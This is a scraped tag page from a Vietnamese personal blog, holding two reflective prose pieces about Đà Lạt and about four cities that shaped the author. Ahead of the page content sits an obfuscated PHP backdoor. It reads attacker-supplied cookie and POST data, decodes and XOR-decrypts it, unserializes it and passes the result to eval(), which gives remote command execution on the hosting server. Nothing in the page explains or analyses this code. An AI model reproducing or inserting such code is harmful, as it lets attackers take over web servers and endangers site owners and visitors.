$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> đà-lạt – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Tag: đà-lạt

Đà Lạt

Đà Lạt

Người xuống núi mang về đâu có chắc
Những dịp về còn nữa ở mai sau?
Dặm hồng vàng ai đứng lại nhìn nhau?
((Bùi Giáng – Giã Từ Đà Lạt))

Người ta cho rằng, thói quen nhìn lại quãng đời đã qua của mình thường chỉ có ở người già, những người mà thứ dệt nên cuộc sống của họ, không phải là các gam màu tươi sáng, rõ ràng của hiện tại, mà là một màu “xám” đến nhạt nhoà của quá khứ.

Nàng trong anh cũng là một màu xám, chỉ có điều nàng không nhạt nhoà. Thời gian đã và đang dệt một lớp bụi ngày càng dày hơn lên trên khuôn mặt nàng. Nhưng với anh, nàng không bị che khuất, mà vẫn sống động như ngày nào.

Anh đã từng gắng làm tất cả mọi thứ để quên nàng, từ những hành động đơn giản như tắt TV, hay đóng trình duyệt web mỗi khi tình cờ thấy xuất hiện tên nàng, cho đến những thứ phức tạp hơn như mượn câu châm ngôn “Esse est percipi” ((Tồn tại nghĩa là được nhận thức bằng tri giác)) của Berkeyley để tự ép mình quên.
Chỉ bởi vì nàng vẫn còn tồn tại trong anh.

Nàng rất đẹp. Mọi người ở đất nước này đều nói như thế. Nàng có vẻ dữ dội như những dòng thác ngàn năm chảy mãi, lại có vẻ trầm mặc như những rừng thông xanh bát ngát, hay vẻ mộng mơ phiêu ảo tựa mây trời đên đỉnh Lang Biang.
Ở bên nàng, ai cũng có cảm giác bình yên.

Nàng không phải là người anh yêu nhất, nhưng là người anh nhớ nhất.
Nàng mang lại cho anh cái hạnh phúc tột đỉnh, nhưng cũng chính nàng, thực ra là những kí ức về nàng, dìm anh vào nỗi đau mà đã có những lúc anh tưởng chừng không thoát được.

Chỉ bởi vì, nàng là nhân chứng, cho một cuộc tình – đẹp – nhưng – dang – dở, của anh…

Rồi lại sẽ có ngày, anh trở về thăm nàng, nhưng khi đấy, sẽ là một anh – đầy hạnh phúc.

B.l.u.e.

Em còn nhớ hay em đã quên?

Em còn nhớ hay em đã quên?

Ở Việt Nam này, có bốn thành phố để lại trong anh những cung bậc cảm xúc khác nhau.

Đó là Vũng Tàu – nơi anh sinh ra và lớn lên, những kí ức của một thời niên thiếu đầy hiếu động nhưng cũng thật đẹp, thật an bình của anh nằm ở đó. Những gì cốt lõi tạo nên một anh – như – bây – giờ cũng nằm nơi đó…
Đó là Sài Gòn – nơi hiện tại anh đang sống. Nó đi cùng cái tuổi trưởng thành của anh. Anh không diễn tả được cảm xúc của anh với nó, chỉ biết rằng nó thân quen như chính một phần máu thịt của anh…
Đó là Hà Nội – một người tình trong mộng ảo của anh. Hà Nội anh yêu là một Hà Thành với những nét đẹp như trong tranh vẽ, là một Hà Thành với vẻ run rẩy của hàng dương liễu mọc quanh hồ Trúc Bạch, một Hà – Nội – dáng – kiều – thơm ((Tây Tiến – Quang Dũng)), một Hà Nội – hàng phố cũ rêu phong, từng mái ngói xô nghiêng, nao nao kỷ niệm ((Em ơi Hà Nội phố – Phan Vũ)). Và giờ đây, quan trọng hơn hết, một Hà Nội – em…
Đó là Đà Lạt – nơi anh chỉ mới đặt chân đến hai lần. Mỗi lần chỉ ở lại tầm ba ngày. Lần đầu không ấn tượng bao nhiêu thì lần sau lại sâu đậm bấy nhiêu. Nó là chút gì còn ít ỏi mà anh bám víu lại, để nhớ về một thời hạnh phúc, thật sự rất hạnh phúc của anh. Đà Lạt, cùng những kỉ niệm về nó, tựa như một thứ ma tuý đầy quyến rũ, mộng ảo, khiến anh không thể nào dứt ra được. Nó quện cứng vào tâm trí anh, nó làm trí óc anh vui, nhưng lại khiến con tim anh đau…

Anh sẽ viết lần lượt về bốn thành phố này…
.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.